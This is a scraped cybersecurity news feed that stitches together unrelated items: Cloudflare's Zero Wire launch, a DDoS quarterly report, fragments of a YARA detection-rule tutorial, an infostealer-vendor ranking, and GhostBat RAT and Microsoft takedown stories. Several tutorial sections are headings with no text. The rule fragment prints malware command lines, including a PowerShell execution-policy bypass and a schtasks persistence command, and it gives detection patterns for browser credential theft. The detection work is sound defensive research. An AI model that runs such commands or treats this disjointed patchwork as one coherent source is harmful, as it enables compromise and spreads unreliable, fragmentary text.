Microsoft exposes a campaign using trojanized installers. See how Inno Setup trojanized installers silently deploy WorldProxyPool, BOINC, and adware.

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The post Trojanized Inno Setup Installers Deliver Proxyware and Compute Hijackers appeared first on Daily CyberSecurity.

Cloudflare launched Cloudflare Zero Wire, a public vulnerability intelligence feed tracking critical software flaws, active exploits, and AI audit prompts.

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The post Cloudflare Launches Zero Wire Vulnerability Platform appeared first on Daily CyberSecurity.

Mandiant warns that enterprise LLMJacking cloud attacks drain API quotas. Attackers use LLMJacking cloud attacks to resell access via illicit mixer portals.

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The post Threat Actors Hijack Enterprise AI Models in Costly LLMJacking Cloud Attacks appeared first on Daily CyberSecurity.

You run security at your organization. It’s 7:00 am, and you’re having breakfast. You receive a ping: a new critical vulnerability has been disclosed. Your team scrambles to compare vendor advisories, read technical research, check which systems run the affected software, and answer familiar questions from the business: are we affected, and what are we doing about it? Another disclosure arrives before that work is finished.

AI is changing both the volume and speed of critical vulnerability discovery. It can analyze large codebases at scale and surface deeply nested flaws that may have existed for years without being found through human review. That discovery momentum will put more pressure on security teams to understand the impact of each disclosure on their infrastructure.

To help security teams prepare, today we’re introducing Zero Wire: a public vulnerability intelligence feed on Cloudflare Radar, bringing the clarity of a news wire service to critical security developments. It helps security leaders and practitioners understand significant vulnerabilities and decide what to do next.

How it works

Zero Wire lives inside Cloudflare Radar under the security section.

Each briefing brings together a plain-language explanation of the vulnerability, who should investigate it, recommended actions, and links to the evidence and vendor guidance. The format is deliberately simple: an index card with what you need to know, without the drama. A CISO should be able to understand the issue quickly and ask the right questions. An engineer should be able to follow the same briefing to the technical guidance needed to investigate and remediate it.

We also offer a pre-compiled prompt you can use with your agent to assess the impact on your infrastructure. Cloudflare contributes security research, observations from our network, and practical knowledge of the controls that can help reduce exposure. The information is useful whether or not you are a Cloudflare customer. 

Zero Wire brings that context together with authoritative external sources, giving readers a starting point for assessment and a place to return as an issue develops.

Our focus

Rather than a catalog of every CVE, Zero Wire complements vendor advisories and vulnerability databases, linking readers to the evidence and technical guidance needed to act. Zero Wire focuses on critical CVEs in Internet-facing software, such as vulnerabilities in web applications, the runtimes and libraries they depend on, and services exposed to the Internet, where a proxy can help mitigate exploitation.

We select significant issues that security teams need to understand and assess. Each briefing explains the potential impact, which deployments should be investigated, what is known about exploitation, and the available mitigation and patching guidance. A vulnerability’s severity and evidence of active exploitation are distinct: readers need both to make informed decisions.

A dedicated Cloudflare protection, such as Web Application Firewall (WAF) rules, is not a prerequisite for inclusion. Some issues require vendor updates or changes beyond the traffic Cloudflare can inspect. Where Cloudflare controls can help, we explain their scope and configuration requirements.

A walk through Zero Wire

Start on the Zero Wire homepage. Each card introduces an issue, identifies associated CVEs where applicable, and summarizes why it matters and what to do. You can search for a published briefing using a CVE or issue name, and follow technology tags to related entries. One briefing can cover several related CVEs when understanding them together makes the response clearer.

Find what needs attention

The homepage separates briefings into two categories. “Needs attention” brings together issues requiring active assessment or action, including those with known exploitation or developing guidance. “Reference” keeps briefings available when guidance has stabilized. Moving to “Reference” does not mean every affected system has been patched: an older vulnerability can still matter to an organization that has not completed remediation.

The status and last-checked date help you interpret each card. Known exploitation, an ongoing investigation, and an available vendor fix describe different things. Read them alongside the briefing’s evidence rather than treating them as a verdict on your own environment.

Understand what happened and who should investigate

When you open a briefing, the overview tells you what happened, why it deserves attention, and which teams should investigate. The explanation connects the technical issue to its practical consequences, such as service disruption or risk of data exposure.

For example, the recent php2shell vulnerability concerns flaws in the PHP runtime. That distinction matters for teams running applications such as WordPress or Magento: updating application code or a plugin alone does not repair the underlying runtime. The briefing helps readers identify the right system owners and directs them to the PHP security guidance for affected versions and remediation.

Turn the briefing into an action plan

What to do now gives your team a short set of next steps. Depending on the issue, that can mean identifying affected deployments, checking versions with a hosting provider, applying vendor updates, reviewing suspicious activity, or keeping compensating controls in place while patching.

The purpose is to make the next conversation concrete. For a PHP deployment, ask which runtime is actually running, whether the vendor’s fix has been applied, and who owns the update. Follow the linked vendor advisory for detailed applicability and remediation instructions, which can change as the investigation develops.

Assess your exposure with an AI agent

In this section, we share a prompt that can be used with your AI agent to quickly assess the impact on your infrastructure. The prompt asks for a read-only assessment of deployed software, relevant vendor fixes, exposure, and compensating controls, with per-asset evidence, unknowns, and next actions. It helps your team investigate its own environment; copying the prompt does not itself scan or change systems.

Check the evidence and follow what changed

To help you learn more about the vulnerability, each briefing links to external documents such as CVE records, research, and relevant exploitation evidence, including CISA’s Known Exploited Vulnerabilities Catalog. These sources answer different questions. A vendor advisory establishes affected versions and remediation guidance. An exploitation report provides evidence of attacker activity. 

If applicable to a briefing, Cloudflare can add context about traffic seen on our network, for example by showing traffic matching WAF rules that indicates exploitation attempts. Those distinctions matter. Observing an attack attempt does not establish that a particular organization was compromised. Equally, a lack of observed attempts on Cloudflare’s network does not establish that exploitation is absent elsewhere. Briefings distinguish what the sources establish from what remains unknown.

Where available, charts add context to that evidence. The php2shell briefing shows the volume of HTTP requests matching Cloudflare WAF managed rules over time. Note that requests matching these rules are not a count of compromised systems or successful exploits; the chart aims at providing practitioners a sense of what the focus level is by threat actors on a particular vulnerability.

Finally, update chronology records important developments, such as new advisories or changes to the evidence and response guidance. Together with the last-checked date, it helps returning readers understand what has changed since their previous visit.

Understand Cloudflare’s role

The Cloudflare section provides links to whether we offer compensating controls or provide a way to mitigate the vulnerability impact on your infrastructure. 

If a particular CVE can be addressed with a WAF rule, the briefing reports its availability and essential configuration requirements. When applicable, paid Plans and free Plans links take customers to the relevant dashboard configuration. The next step is explicit: “Review your WAF configuration to determine whether you are protected”. A link allows you to review your security posture, it does not automatically enable a rule or verify a deployment.

Note that a WAF mitigation is a compensating control for the traffic it covers, it is not a replacement for fixing vulnerable software. Blocking the requests can prevent exposed data from reaching an attacker, but it cannot undo actions already performed at the origin. The security teams should always follow the vendor remediation guidance.

Stay informed with Zero Wire

A useful vulnerability briefing should leave you with a clearer understanding of the issue and a concrete next step. Day Zero brings those essentials together: what happened, who should investigate, what to do now, and where to find the evidence.

Visit Zero Wire vulnerability intelligence, share the relevant briefings with the teams responsible for your systems, and return for new entries and updates. When the next disclosure arrives, we want you to spend less time assembling the basic facts and more time acting on them.

Follow Cloudflare Radar on X @CloudflareRadar and Bluesky @radar.cloudflare.com for updates.

Microsoft reveals how North Korean threat actors use tools like ARTEX. See how AI-enabled North Korean threat actors speed up cyber operations.

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The post North Korean Threat Actors Accelerate Cyber Operations With Artificial Intelligence appeared first on Daily CyberSecurity.

Welcome to the 26th edition of Cloudflare's DDoS Threat Report. This edition covers the third quarter of 2026 — July, August, and September — and returns the series to its quarterly cadence following the combined H1 2026 volume. The analysis is produced by Cloudforce One, Cloudflare's Threat Intelligence organization, providing a comprehensive analysis of the evolving threat landscape of Distributed Denial of Service (DDoS) attacks based on data from the Cloudflare network.

Key insights

1. Short-burst, low-bandwidth attacks lasting under 10 minutes and 1 Gbps surged by 208%. Conversely, hyper-volumetric attacks exceeding 1 Tbps plummeted by nearly 69% from Q2, possibly a reflection of law enforcement actions against four major Internet of Things (IoT) botnets earlier in the year. However, variants continue to emerge, proving that IoT botnets remain a durable, high-volume threat to network infrastructure.
2. Threat actors dramatically shifted their reflection and amplification tactics, abruptly abandoning CLDAP floods, which collapsed by 99.5% quarter-over-quarter. Instead, attackers pivoted heavily toward other connectionless protocols, driving a 215% surge in DNS amplification and a 122% increase in general UDP floods.
3. Attack targets broadened significantly across both industries and geographies, with the United States reclaiming the most-attacked position from China. Canada and Israel experienced sharp spikes in targeted attacks — jumping 10 and 7 spots respectively — while juggling geopolitical tensions, trade disputes, and contentious domestic events. At the same time, the operational focus shifted away from media organizations toward a wider array of industry targets, including consumer services, Internet infrastructure, and adult entertainment.

Q3 by the numbers: 8,200 DDoS attacks every hour

Across its network in the third quarter of 2026, Cloudflare autonomously mitigated 18.2 million network-layer DDoS attacks and 14.4 trillion HTTP DDoS requests. That works out to approximately 8,226 network-layer DDoS attacks per hour, or about 197,400 per day — one attack every 0.44 seconds. The quarter's mitigated traffic totaled 272.6 PB at the network layer and 95.1 PB at the HTTP layer.

More swarms, fewer giants

Short-burst, mid-range, high-count attacks — the operational signature of DDoS-for-hire "booter" services — accelerated this quarter. These attacks primarily targeted computer software, gambling and casinos, and information technology industries. Cloudflare autonomously mitigated 18.2 million network-layer DDoS attacks in Q3 2026, a +208% increase from the same quarter in 2025:

• 96% ended in under 10 minutes
• 98% stayed under 1 Gbps, more than enough to overwhelm a server or website

On the other hand, network-level hyper-volumetric attacks (those exceeding 1 Tbps) reversed course, dropping to 251 attacks in Q3 from 805 in Q2 — coinciding with law enforcement action in early 2026 that dismantled four of the largest IoT DDoS botnets: Aisuru, KimWolf, JackSkid, and Mossad.

Still, IoT-based botnets remain a durable high-volume threat as the ecosystem churns through new variants such as Dysphoria and Evooo1Bot. Mirai-classified mitigation peaked in August at 57.23 PB, representing 46.5% of all mitigated network-layer bytes in Q3, including four days — August 16, 19, 23, and 25 — that each cleared three petabytes. The quarter's longest sustained Mirai attack ran 49.7 hours between August 19 and August 21.

Vector shifts: the collapse of CLDAP and rise of UDP

The most dramatic vector shift of the quarter was downward. CLDAP (Connectionless Lightweight Directory Access Protocol) attacks — where small queries with a forged victim IP address trick public domain controllers (UDP 389) into reflecting massive, amplified responses back at the target — experienced a dramatic +580% quarter-over-quarter surge in the first half of the year before collapsing to just 0.05% of attacks in Q3.

Meanwhile, DNS amplification surged 215% to account for 3.43% of all network-layer attacks, exploiting open DNS resolvers in a similar reflection-and-amplification pattern to CLDAP: small spoofed queries, large replies directed at the victim. Other UDP floods climbed from 14.06% to 31.31% of network-layer attacks. UDP is a connectionless transport protocol, which makes it a convenient vehicle for raw volumetric attacks: attackers send large numbers of UDP packets to random or specific ports on the target, forcing the target to check for a listening application and respond, consuming its network and compute resources.

Most-attacked industry

While Media, Production & Publishing remained the most-attacked industry in Q3 2026, its overall share is roughly a quarter of its Q2 level, and the focus has moved across a wider set of industries. Internet rose from outside the top 10 to #6; Consumer Services and Adult Entertainment also climbed in, reaching #8 and #9 respectively.

Most-attacked locations

Geographic surges: Canada and Israel climb the ranks

Adding to an already turbulent period of bilateral trade disputes, Canada jumped from #16 to #6, driven by attacks against its Retail, Telecommunications, Service providers & carriers, and Marketing & advertising industries.

Israel moved 7 spots to take #10 as a result of sustained DDoS activity in mid-September. While this period was marked by contentious decisions ahead of parliamentary elections and the Rosh Hashanah holiday, there was also a massive, documented surge in hostile cyber warfare targeting Israel this year.

Top 10

The United States was the most-attacked location in Q3 2026, while China was number #2 and Indonesia rose into the top three at 2.93% of total attacks. The U.S.-China pairing at the top is consistent with the first half of 2026, when China finished #1 and the U.S. #2; the countries have traded positions as attention and attacker preferences shift.

Strengthening global defenses and helping to defend the Internet

Cloudflare's network is designed to absorb this kind of growth in DDoS threats. Every service on our network is protected by free, unmetered DDoS protection that runs at every one of our 330+ cities globally, backed by 500 Tbps of network capacity. Autonomy is the point: our systems detect and mitigate attacks without human intervention. And they need to, because as this quarter's distributions make clear, most attacks end long before a human analyst could see the alert, and the largest attacks still regularly exceed 1 Tbps at a cadence measured in hundreds per quarter.

To help hosting providers, cloud computing platforms, and Internet service providers identify and take down the abusive IP addresses and accounts that launch these attacks, we leverage Cloudflare's unique vantage point on DDoS attacks to provide a free DDoS Botnet Threat Feed for Service Providers.

Over 800 networks worldwide have signed up for this feed, and we've already seen great collaboration across the community to take down botnet nodes. For a continuously-updated view of attack trends across the Internet, visit Cloudflare Radar.    

About Cloudforce One

Driven by a mission to help defend the Internet, Cloudforce One draws on telemetry from Cloudflare's global network — which protects more than 20% of the web — to drive threat research and operational response, protecting critical systems for millions of organizations worldwide.

ANY.RUN analyzed 1,258 sandbox submissions showing how fake ChatGPT and Claude downloads and setup guides steal corporate credentials and browser session data.

What each process entry carries

Field	Type	What it holds
name	string	The process, as the sandbox reports it. Usually the image path plus the command line.
parent_name	string	The name of the process that created this one. Empty for root processes and when the parent is unknown.
ancestor_names	array of strings	The names of its ancestors, nearest first: ancestor_names[0] is the parent (the same as parent_name), ancestor_names[1] the grandparent, and so on. Empty for root processes and when the parent is unknown.
process_id / parent_process_id	string	PIDs, as reported by the sandbox.
start_time / termination_time	integer	When the process started and ended, if known.
files_written	array of strings	Files this process created or modified.
files_opened	array of strings	Files this process opened.
files_deleted	array of strings	Files this process deleted.
files_copied[x].source / .destination	string	Files this process copied, when the sandbox attributes copies to a process.

import "vt"

rule cmd_spawns_schtasks_create {
  condition:
    for any p in vt.behaviour.processes_list : (
      p.name icontains "schtasks" and
      p.name icontains "/create" and
      p.parent_name icontains "cmd.exe"
    )
}

Things to know before you write rules

Case 1: porting a Sigma rule, and what it misses

detection:
    selection_parent:
        ParentImage|endswith: '\mshta.exe'
    selection_child:

        - Image|endswith:
              - '\cmd.exe'
              - '\powershell.exe'
              - '\pwsh.exe'
              - '\wscript.exe'
              - '\cscript.exe'
              - '\sh.exe'
              - '\bash.exe'
              - '\reg.exe'
              - '\regsvr32.exe'
              - '\bitsadmin.exe'
    condition: all of selection*

import "vt"

rule mshta_spawns_shell {
  meta:
    description = "Port of Sigma 03cc0c25 (Suspicious MSHTA Child Process)"
  condition:
    for any p in vt.behaviour.processes_list : (
      p.parent_name icontains "mshta.exe" and
      (
        p.name icontains "cmd.exe" or
        p.name icontains "powershell" or
        p.name icontains "pwsh" or
        p.name icontains "wscript" or
        p.name icontains "cscript" or
        p.name icontains "bash.exe" or
        p.name icontains "reg.exe" or
        p.name icontains "regsvr32" or
        p.name icontains "bitsadmin"
      )
    )
}

Process	Parent
EXCEL.EXE "...\attachment.xls" /dde	Explorer.EXE
mshta.exe -Embedding	svchost.exe -k DcomLaunch -p
cmd.exe "/c POwERSHeLl.Exe ... -EX BypaSS -nOp -w 1 -ec ..."	mshta.exe -Embedding
POwERSHeLl.Exe ... -ec ...	cmd.exe
WScript.exe "...\AppData\Roaming\westingcostringforme.vbe"	POwERSHeLl.Exe
powershell.exe -nop -ep bypass -file "C:\Temp\XBRYINEZ.ps1"	WScript.exe
aspnet_compiler.exe	powershell.exe -file ...XBRYINEZ.ps1

import "vt"

rule dcom_mshta_spawns_shell {
  condition:
    for any p in vt.behaviour.processes_list : (
      (p.name icontains "cmd.exe" or p.name icontains "powershell") and
      p.parent_name icontains "mshta.exe" and
      p.ancestor_names[1] icontains "svchost.exe" and
      p.ancestor_names[1] icontains "dcomlaunch"
    )
}

Case 2: a services.exe that is not, and the copies behind it

import "vt"

rule fake_services_wrong_parent {
  condition:
    for any p in vt.behaviour.processes_list : (
      p.name iendswith "\\services.exe" and
      p.parent_name != "" and
      not p.parent_name icontains "wininit.exe"
    )
}

C:\Windows\System32\NlsLexicons0c1a\services.exe
C:\System Volume Information\services.exe
C:\Windows\system\smss.exe
C:\Windows\System32\mfc42\taskeng.exe
C:\Users\Default User\WmiPrvSE.exe
C:\Program Files\Common Files\System\ado\en-US\WmiPrvSE.exe
C:\PerfLogs\Admin\sysmon.exe
C:\Users\<USER>\Downloads\patchregistry\event-stream.exe

import "vt"

rule copy_with_system_name_is_executed {
  condition:
    for any c in vt.behaviour.files_copied : (
      (
        c.destination iendswith "\\services.exe" or
        c.destination iendswith "\\smss.exe" or
        c.destination iendswith "\\lsass.exe" or
        c.destination iendswith "\\csrss.exe" or
        c.destination iendswith "\\svchost.exe" or
        c.destination iendswith "\\wmiprvse.exe" or
        c.destination iendswith "\\taskhostw.exe" or
        c.destination iendswith "\\conhost.exe"
      ) and
      for any p in vt.behaviour.processes_list : (
        p.name icontains c.destination and
        p.parent_name != ""
      )
    )
}

Case 3: headless consoles, renamed or not

import "vt"

rule headless_console_runs_powershell {
  condition:
    for any p in vt.behaviour.processes_list : (
      (p.name icontains "powershell" or p.name icontains "pwsh") and
      p.parent_name icontains "--headless"
    )
}

Case 4: persistence that actually ran

import "vt"

rule task_scheduler_runs_dropped_file {
  condition:
    for any run in vt.behaviour.processes_list : (
      (
        run.parent_name icontains "-s schedule" or
        run.parent_name icontains "taskeng.exe"
      ) and
      for any dropper in vt.behaviour.processes_list : (
        for any f in dropper.files_written : (
          (f iendswith ".exe" or f iendswith ".dll" or f iendswith ".vbs" or
           f iendswith ".js" or f iendswith ".ps1" or f iendswith ".bat" or
           f iendswith ".cmd") and
          run.name icontains f
        )
      )
    )
}

schtasks.exe /create /sc minute /mo 1 /tn "AdobeSecurityManager" /tr "C:\Users\<USER>\AppData\Roaming\MicrosoftWorker_e08ec640d\rhpmx63snl.exe --headless powershell.exe -w h -ep bypass -c & '...\xd24mgasgb4.exe'"

Case 5: .NET binaries reading browser credentials

import "vt"

rule dotnet_lolbin_touches_browser_logins {
  condition:
    for any p in vt.behaviour.processes_list : (
      (
        p.name icontains "aspnet_compiler.exe" or
        p.name icontains "regasm.exe" or
        p.name icontains "regsvcs.exe" or
        p.name icontains "msbuild.exe" or
        p.name icontains "installutil.exe" or
        p.name icontains "addinprocess"
      ) and
      for any a in p.ancestor_names : (
        a icontains "powershell" or
        a icontains "wscript" or
        a icontains "cscript" or
        a icontains "mshta"
      ) and
      for any f in p.files_written : (
        f icontains "\\User Data\\" and
        (f icontains "\\Login Data" or f icontains "\\Web Data" or f icontains "\\Cookies")
      )
    )
}

Testing the rules

Wrapping up

Infostealer intelligence has become one of the important tool in cybersecurity as malware has become one of the most efficient tools in a cybercriminal's kit. A single infected laptop can leak saved passwords, browser cookies, autofill data, and enough machine details for an attacker to impersonate the user outright. Stolen session cookies are especially damaging because they let intruders skip multi-factor authentication entirely. That makes the choice of an intelligence vendor in this space an operational decision, not a box-checking exercise. 

Top 10 Infostealer Intelligence Vendors 

1. Cyble

Cyble is a preferred vendor for organizations that want infostealer data inside a broader threat intelligence workflow rather than as a standalone feed. Its Cyble Vision platform combines compromised credential monitoring with dark web surveillance, brand protection, and attack surface management, so a leaked employee login can be connected to related exposure elsewhere.   The company's research arm, Cyble Research and Intelligence Labs, publishes regular analysis of new stealer families and campaigns. For teams that need context across several threat categories in a single console, Cyble is a strong starting point. Buyers focused narrowly on deep machine-level forensics should test that capability directly during a trial.

2. Flare

Flare is a full CTI platform that treats stealer logs as a core dataset rather than an add-on. Its interface is one of the cleanest in the category, which lowers the learning curve for analysts. Coverage of stealer logs is broad, and the platform provides solid details about infected machines.

3. SpyCloud

SpyCloud focuses on identity threat protection and is particularly strong on session data. It tracks stolen cookies and helps organizations invalidate compromised sessions before attackers can use them. That focus makes it a natural fit for teams worried about MFA bypass. Its free public tooling is more limited than some competitors'.

4. Breachsense

Breachsense takes an API-first approach to dark web and stealer-log monitoring. Its backend is consistent and well-documented, which appeals to teams that plan to pipe alerts directly into a SIEM or SOAR rather than work in a vendor's dashboard.

5. Lunar (Webz.io)

Lunar is built on Webz.io's web data infrastructure and stands out for generous free access to compromised-credential monitoring. Smaller organizations can get meaningful visibility without a large contract. Its API is less mature than those of the leaders, so heavy integration work may take more effort.

6. SOCRadar

SOCRadar positions itself as an extended threat intelligence provider, and its infostealer data sits alongside external attack surface monitoring and digital risk protection. Machine context is a notable strength. Teams looking for a specialist tool may find the platform's breadth more than they need.

7. Constella Intelligence

Constella approaches infostealers through the lens of identity risk, drawing on a large repository of breach and exposure records. Session tracking and API capabilities are both well regarded, which makes it useful for fraud prevention and account takeover defense.

8. Recorded Future

Recorded Future is one of the best-known names in threat intelligence. Infostealer data is one module among many in its intelligence platform. Machine context and API quality are strong, though session-level detail trails the more focused vendors. Organizations already using Recorded Future for other intelligence may find it convenient to extend coverage here.

9. NordStellar

NordStellar comes from Nord Security, the company behind NordVPN. It has gained ground quickly, with strong session coverage and good machine context. It is a relatively new entrant, so buyers should weigh its fast development pace against a shorter track record.

10. KELA

KELA specializes in cybercrime intelligence gathered from underground forums and marketplaces. Its infostealer coverage benefits from that vantage point, and session tracking is solid. Machine context and API depth are moderate compared with the vendors ranked above it. 

What Buyers Should Take Away 

No single vendor wins on every measure. Teams that want infostealer intelligence connected to wider threat monitoring will find Cyble, Flare, and SOCRadar worth a close look. Those focused on stopping account takeover should prioritize session capabilities, where SpyCloud, Constella, and NordStellar perform well. Engineering-heavy teams should put API quality near the top of their criteria, which favors Breachsense and Recorded Future.  Whatever the shortlist, two capabilities deserve extra weight. The first is session coverage, because cookie theft is now a routine way to defeat MFA. The second is machine context, because knowing exactly which device was compromised determines how quickly a team can contain the damage. A trial run against a known set of exposed accounts remains the most reliable way to see how a vendor performs in practice.  (Disclaimer: This article is based on third-party research and publicly available information, credited where applicable. The Cyber Express does not endorse any product or service mentioned. Readers are advised to verify information independently and consult qualified professionals before acting on it.)

A text message about an unpaid traffic challan could cost Android users in India far more than a fine. GhostBat RAT, an Android malware strain first identified by cybersecurity firm Cyble in October 2025, has evolved to capture PINs from 60 banking, UPI apps, wallet and fintech applications, according to new research published by Cyble. The firm's investigation into fake mParivahan and eChallan apps also exposed a wider operator-controlled ecosystem it tracks as GhostX, linking phishing pages, backend control systems and malware distribution.

How GhostBat RAT Reaches Victims

The malware spreads mainly through smishing, or SMS phishing. Victims receive messages with malicious links that lead to pages impersonating the official Parivahan service or a Google Play-style download page. These pages push users to install a fraudulent mParivahan APK. Researchers also found GitHub repositories being repeatedly used to host the malicious files. Many of these apps are only first-stage loaders. The real payload stays hidden in encrypted files or is downloaded later, which makes the app look harmless during an initial scan. [caption id="attachment_114830" align="aligncenter" width="600"] GhostBat-RAT-Infection-Chain-1536x595[/caption]

GhostBat RAT's Ghost Overlay Trick

The most significant change in the latest variant is its abuse of Android's Accessibility Service, a technique commonly linked to modern Android banking trojan families. Earlier variants analyzed by Cyble did not have this capability. Its standout feature, called Ghost Overlay, targets Google Pay and MobiKwik. Instead of showing a fake login screen, the malware places an invisible 12-key grid over the real PIN keypad. When a user taps a digit, the overlay records it and then replays the same tap into the genuine app. The payment goes through normally, so the victim has no visible reason to suspect anything, while the PIN is quietly sent to the attackers' server.

GhostBat RAT Watches 60 Financial Apps

Beyond Google Pay and MobiKwik, a broader keylogging feature monitors 60 financial apps. Cyble's list includes PhonePe, Paytm, BHIM, SBI UPI, Axis Pay, BharatPe, CRED, Freecharge, PayZapp, Groww, Navi, Jupiter, OneCard, JioFinance and Samsung Pay. The malware checks which app is open and the screen context before treating numeric input as a possible PIN. This builds on older capabilities that remain in play, including reading SMS messages and OTPs, manipulating call forwarding, collecting call logs and sending SMS messages through the victim's SIM card, which could be used to spread further smishing campaigns.

Inside the GhostX Network Behind GhostBat RAT

A key finding came from an exposed Firebase backend named "ghostx-panel." It contained administrator records, user roles, login logs with device fingerprints and bot-user mappings. Cyble says these separate roles point to a multi-operator setup and raise the possibility of a Malware-as-a-Service model. While monitoring the backend, researchers saw SMS lure text, phishing links, vehicle registration numbers and recipient phone numbers changing repeatedly, indicating an active campaign. Matching eChallan messages were also reported by users on social media.

Why GhostBat RAT Is Hard to Detect

Cyble identified at least six different loader designs. The newest, built around a native library called libnetbridge.so, passes the payload through several layers of encryption, compression and custom packaging before the final app appears. Security tools that scan only the outer APK are unlikely to catch it consistently. The malware also uses Firebase Remote Config, which lets operators switch command servers and turn features on or off remotely without pushing a new app to victims.

Staying Safe From GhostBat RAT

Cyble advises users to install apps only from official stores such as Google Play and to avoid APK links received by SMS, social media or email. Users should be cautious about granting app permissions, especially Accessibility access, verify website addresses before entering sensitive details, enable multi-factor authentication on financial apps and keep their phones updated. Anyone who suspects infection should contact their bank and local authorities immediately.

A text alert about an undelivered package or an unpaid toll may look like a one-off scam. A new Microsoft cybercrime crackdown shows it is often the visible end of a much larger operation. Microsoft and Health-ISAC, a global non-profit that helps health sector organizations share cyber threat information and improve operational resilience, have moved to dismantle three services, YAM Store, CoGUI and Iron Man, that supplied criminals worldwide with accounts, hosting and tools to build fake websites and online identities. Since January 2026, the three services have collectively enabled more than one billion malicious messages targeting over 75,000 organizations worldwide. More than 750 million of those messages were aimed at Microsoft customers alone. Consumers, healthcare organizations, financial institutions and other businesses in more than 150 countries were targeted, generating tens of millions of dollars for the operators.

How the Microsoft Cybercrime Crackdown Began

The investigation started in late 2025 after Japan's National Police Agency (NPA) alerted Microsoft to malicious messaging campaigns targeting people in Japan. The NPA continued providing intelligence and investigative support throughout the probe as partners traced those campaigns back to the businesses supplying criminals around the world. Investigators expected to find individual campaigns. Instead, they traced the activity to a sprawling Chinese-language marketplace that was difficult for non-native-speaking investigators to penetrate. The probe widened to include the Japan Cybercrime Control Center (JC3), Resecurity, Cloudflare, Oracle, Proofpoint and TRM Labs. Drawing on its network of more than 130 member organizations, JC3 linked what appeared to be separate incidents into a broader pattern of scams against Japanese companies and financial institutions. Health-ISAC provided insight into the impact on healthcare organizations.

What the Microsoft Cybercrime Crackdown Uncovered

YAM Store operated much like an online shop. Customers could browse products, compare prices and buy fraudulent Microsoft and Google accounts along with ready-made scam tools, including those used for credential theft. Controlled purchases by Microsoft helped confirm how it worked. In some cases, operators bought internet domains that legitimate organizations had allowed to expire, often in sectors such as non-profits and education, with specialized product offerings for those sectors. They rebuilt the websites to make those organizations appear active, then used them to fraudulently obtain Microsoft 365 accounts for resale. The infrastructure sold through YAM Store was frequently paired with CoGUI. This service supplied ready-made websites and messages impersonating companies, banks, government agencies and other trusted organizations. Rather than build fraudulent sites themselves, criminals could quickly deploy pages designed to steal passwords, payment details and personal data. CoGUI became one of the most widely used offerings in the ecosystem, particularly targeting victims in Japan and the United States. [caption id="attachment_114817" align="aligncenter" width="600"] Image Source: https://blogs.microsoft.com/[/caption] By mid-2026, CoGUI was increasingly being replaced by Iron Man, which offered thousands of phishing templates tailored to specific brands, industries and countries. Criminals could use them to quickly deploy email, text and web content. Through test purchases and work with Resecurity, investigators identified more than 2,300 templates impersonating banks, retailers, healthcare providers, transportation authorities, police departments and government agencies across more than 150 countries. Others mimicked airlines, telecommunications companies and parcel delivery services. Some were built for government impersonation scams, using the look of official authority to pressure victims into paying or sharing sensitive information. Microsoft noted that an organization appearing in these templates does not mean its systems were compromised.

Court Order Backs Microsoft Cybercrime Crackdown

Acting on an order from the United States District Court for the Southern District of Florida, Microsoft and Health-ISAC seized and redirected domains that formed part of the infrastructure behind the three services. Microsoft has disabled more than 20,000 accounts linked to YAM Store and is blocking more than 100,000 domains used for impersonation and fraud, while removing infrastructure hosted on its services. Microsoft also shared intelligence with the U.S. Secret Service and international law enforcement partners. Investigators used AI tools to connect accounts, websites and infrastructure that initially appeared unrelated. The case reflects a trend highlighted in this year's Microsoft Digital Defense Report: modern fraud increasingly relies on businesses and services that help criminals reach more victims. No single organization saw the full picture of this transnational cybercrime network, and uncovering it required two-way information sharing across industries and borders. YAM Store, CoGUI and Iron Man are only part of a larger criminal ecosystem. Still, the Microsoft cybercrime crackdown makes it harder for criminals to obtain the accounts, tools and infrastructure that keep scam messages flowing. Microsoft Threat Intelligence has published a blog with further details on the network and steps customers can take to protect themselves.

Cloudflare telemetry reveals Russian bot traffic swiftly migrated to alternative clouds following drone strikes on Yandex data center infrastructure.

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A new Kerala Police MoU will bring threat intelligence into cybercrime investigations in the state. Cyble, an AI-native cybersecurity company, has signed a three-year Memorandum of Understanding with Kerala Police that covers intelligence support, investigative assistance and capacity building. The agreement was signed through Cyble's Indian subsidiary, Cyble Infosec India Private Limited. It will support the Kerala Police Cyber Operations wing and Cyberdome in identifying and investigating emerging cyber threats. The announcement was made on October 12, 2026.

Why the Kerala Police MoU Focuses on Threat Intelligence

According to Cyble, cybercriminals increasingly use underground online forums and illicit marketplaces to trade stolen credentials, distribute leaked data, coordinate ransomware operations and facilitate fraud. Identifying these activities before they cause harm requires timely intelligence and effective collaboration between technology providers and law enforcement agencies. [caption id="attachment_114716" align="aligncenter" width="600"] Image Source: Cyble[/caption]

What MoU Covers

Under the MoU, Cyble will support Kerala Police with intelligence relevant to cybercrime investigations. This includes compromised credentials, ransomware activity, data leaks, phishing and fraud infrastructure, and the impersonation of government and police brands. The collaboration has three other parts:

• No-cost evaluation access to select Cyble platforms.
• Training for police officers in open-source intelligence (OSINT) and dark web investigations.
• Joint research into emerging threats such as AI-enabled fraud, deepfakes, mule account networks and investment scams.

Public awareness initiatives will also form part of the collaboration. “Effective cybercrime investigations require timely intelligence, especially when criminal activity originates across borders and moves through hidden online networks,” said Beenu Arora, Co-Founder and CEO of Cyble. “Kerala Police has taken a proactive approach to cyber policing through Cyberdome. Through this collaboration, we aim to help investigators access relevant threat intelligence, strengthen their investigative capabilities, and better understand emerging threats targeting citizens and institutions.” Ankit Asokan, IPS, Kerala Police, said: “Cybercrime investigations increasingly require access to timely intelligence on threats that may originate beyond conventional online channels. This collaboration will support Cyberdome and our officers with relevant intelligence, strengthen investigative capabilities, and contribute to efforts to protect citizens from evolving cyber threats.”

Aim of the Kerala Police MoU

The MoU reflects a shared focus on strengthening cybercrime response through collaboration, intelligence sharing and knowledge development. By combining Cyble's threat intelligence capabilities with Kerala Police's investigative expertise, the partnership aims to support more informed investigations and improve awareness of emerging cyber risks. Cyble describes itself as an AI-native cybersecurity company that helps governments and enterprises identify, prioritize and respond to cyber threats. It is headquartered in Cupertino, California, and serves customers globally, with offices in regions including Australia, Malaysia, Singapore, the Middle East and India.

Disclosure: This article was provided by ANY.RUN. The information and analysis presented are based on their research and findings.

What we store for every port

Field	What it tells you
Status	open, closed or recently closed. Updated daily.
First seen / Open since / Last seen open	When we first saw the port, since when it has been open without interruption, and the last day we saw it open.
Protocol, product and version	The service identified on the port, e.g. ssh / OpenSSH / 9.6p1 Ubuntu 3ubuntu13.19.
CPEs	Standard CPE identifiers for the product, useful to map the service to known vulnerabilities.
Banner	The raw banner returned by the service.
OS and device type	Operating system or device class inferred from the service (Linux, Windows, router, firewall...).
Fingerprints	SSH host key fingerprints and RDP fingerprints.
